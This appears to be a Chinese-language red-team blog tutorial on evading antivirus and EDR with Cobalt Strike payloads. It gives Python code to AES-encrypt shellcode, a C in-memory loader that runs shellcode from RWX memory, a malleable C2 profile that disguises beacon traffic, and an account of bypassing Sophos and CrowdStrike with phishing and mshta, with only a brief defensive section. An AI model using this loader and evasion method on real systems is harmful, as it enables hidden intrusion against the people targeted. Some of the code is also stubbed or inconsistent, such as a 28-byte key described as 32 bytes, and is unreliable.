一、隐形的刀锋:解析免杀技术背后的原理

在现代红队行动中,免杀技术被认为是实现成功渗透的关键一环。无论是绕过杀毒软件(Antivirus,AV),还是规避EDR(Endpoint Detection and Response),免杀技术的核心目标是让恶意载荷在目标环境中隐形运行,不被探测和拦截。那么问题来了,为什么杀毒软件和EDR能检测到我们的载荷?又是什么技术让它们失效?

策略检测与特征匹配

大多数传统AV依赖于特征匹配,当它们扫描到文件或者内存中的代码时,会尝试找到是否有已知的恶意特征,比如特定的字符串、函数调用模式或者加密数据的特征。更现代的EDR则结合了行为分析和机器学习,试图通过动态行为捕捉到可疑活动,比如API调用链、内存分配模式、网络通信行为等。

绕过核心思路:

  1. 混淆特征:通过修改载荷的外观或者加密关键部分,使其特征与已知恶意样本完全不同。
  2. 规避行为检测:通过调用合法的系统API,伪装攻击动作。
  3. 分阶段加载:将恶意逻辑拆解成多个独立阶段,逐步加载以降低风险。

本节我们先理论拆解了免杀技术的核心逻辑,接下来的章节将从实际案例出发,逐步构造出一套完整的免杀方案。

---

黑客示意图

二、伪装者的诞生:构造免杀Payload的艺术

在这部分,我们将以Cobalt Strike的默认载荷为例,逐步破解其被检测的原因,并针对性地设计免杀方案。

1. 检测的根本原因

很多杀毒软件和EDR已经对Cobalt Strike的默认Payload,比如 beacon.exe 的特征非常熟悉。这里我们运行一个未处理的Cobalt Strike shellcode,并用静态分析工具(如YARA规则)检测,结果显示其特征包括:

  • 固定的字符串,例如 MZ 头部特征
  • 明文的函数调用和PE结构
  • 网络通信时的特定HTTP/HTTPS请求特征

解决思路:

  • 将Payload加密或加壳。
  • 修改Payload的通信逻辑。
  • 通过内存加载方式避免直接运行二进制文件。

2. 核心代码示例:加密Shellcode

我们使用Python对Cobalt Strike生成的Shellcode进行AES-256加密,并在目标机器上解密加载,以下是完整代码。

<pre><code class="language-python">from Crypto.Cipher import AES import base64

AES加密函数

def encrypt_shellcode(shellcode, key): cipher = AES.new(key, AES.MODE_ECB) # 使用ECB模式 padded_shellcode = shellcode + b&quot;\x00&quot; * (16 - len(shellcode) % 16) # 填充 encrypted = cipher.encrypt(padded_shellcode) return base64.b64encode(encrypted)

AES解密函数

def decrypt_shellcode(encrypted_shellcode, key): cipher = AES.new(key, AES.MODE_ECB) decrypted = cipher.decrypt(base64.b64decode(encrypted_shellcode)) return decrypted.rstrip(b&quot;\x00&quot;)

示例:加密Cobalt Strike Shellcode

original_shellcode = b&quot;\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5&quot; # 示例Shellcode encryption_key = b&quot;thisisaverysecurekey12345678&quot; # 32字节的密钥 encrypted_shellcode = encrypt_shellcode(original_shellcode, encryption_key)

print(f&quot;Encrypted Shellcode: {encrypted_shellcode}&quot;)</code></pre>

3. 内存加载技术

有了加密的Shellcode后,我们需要在目标机器上解密并以一种隐蔽的方式加载到内存运行。以下是C语言代码实现:

<pre><code class="language-c">#include &lt;windows.h&gt;

include &lt;stdio.h&gt;

include &lt;string.h&gt;

黑客示意图

unsigned char encrypted_shellcode[] = &quot;这里填入加密后的Shellcode&quot;; char decryption_key[] = &quot;thisisaverysecurekey12345678&quot;;

// AES解密函数(伪代码) void decrypt_shellcode(unsigned char shellcode, char key) { // 在这里调用AES解密逻辑 }

int main() { // 解密Shellcode unsigned char decrypted_shellcode[512]; decrypt_shellcode(encrypted_shellcode, decryption_key);

// 动态分配内存 void* exec_mem = VirtualAlloc(0, sizeof decrypted_shellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(exec_mem, decrypted_shellcode, sizeof decrypted_shellcode);

// 创建线程执行 HANDLE thread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0); WaitForSingleObject(thread, INFINITE);

return 0; }</code></pre>

4. 绕过静态与沙箱检测

通过上述方式,我们有效规避了静态检测,因为文件本体已经加密,解密过程完全在内存中进行。为了绕过动态行为检测,可以进一步通过分阶段加载和模拟合法程序行为来掩盖攻击动作。

---

三、潜行者的伪装:规避网络流量监控

即使我们的Payload免杀成功,也有可能在C2通信阶段被检测。很多EDR和网络安全设备会检测Cobalt Strike默认的通信协议和伪装HTTP流量。

修改通信协议

具体操作:

  1. 修改Cobalt Strike的profile文件,自定义HTTP头字段。
  2. 使用TLS加密流量。
  3. 模拟常见的合法应用流量,例如Chrome浏览器。

以下是一个修改后的HTTP Profile示例: <pre><code>http-get { set uri &quot;/api/v1/checkin&quot;; client { header &quot;User-Agent&quot; &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64)&quot;; header &quot;Accept&quot; &quot;text/html,application/xhtml+xml,application/xml;&quot;; header &quot;Connection&quot; &quot;keep-alive&quot;; } server { header &quot;HTTP/1.1 200 OK&quot;; header &quot;Content-Type&quot; &quot;application/json&quot;; } }</code></pre>

黑客示意图

通过自定义Profile,我们可以有效绕过基于规则的流量检测。

---

四、真实战役中的免杀实践

在一次真实场景的渗透测试中,我遇到的目标部署了Sophos和CrowdStrike EDR。以下是我的成功绕过步骤:

  1. 初始载荷投递:通过钓鱼邮件发送加密的Payload,并使用mshta.exe加载。
  2. 内存加载解密:在目标环境中通过PowerShell解密并加载Shellcode。
  3. 动态通信隐匿:将C2流量伪装成合法HTTP请求。

通过上述方法,从初始攻破到内网横向移动,我们实现了全程隐蔽操作。

---

五、防守者的镜像:检测与防御

作为攻击者,我们也需要了解防御者的视角。以下是一些有效的检测与防御手段:

  1. 行为分析:监控进程异常行为和内存分配操作。
  2. 网络流量异常检测:通过分析通信频率和内容特征识别伪装流量。
  3. 定期更新威胁情报:提升对自定义Payload的检测能力。

---

六、结语:免杀的艺术与攻防博弈

免杀技术的核心在于对抗杀毒软件和EDR的检测机制,真正的高手会根据目标环境快速调整策略,而不是依赖固定的套路。希望本文的技术细节能够帮助读者掌握免杀Payload的全套技巧。当然,请始终记住,技术的力量应当用于合法和授权的安全测试中。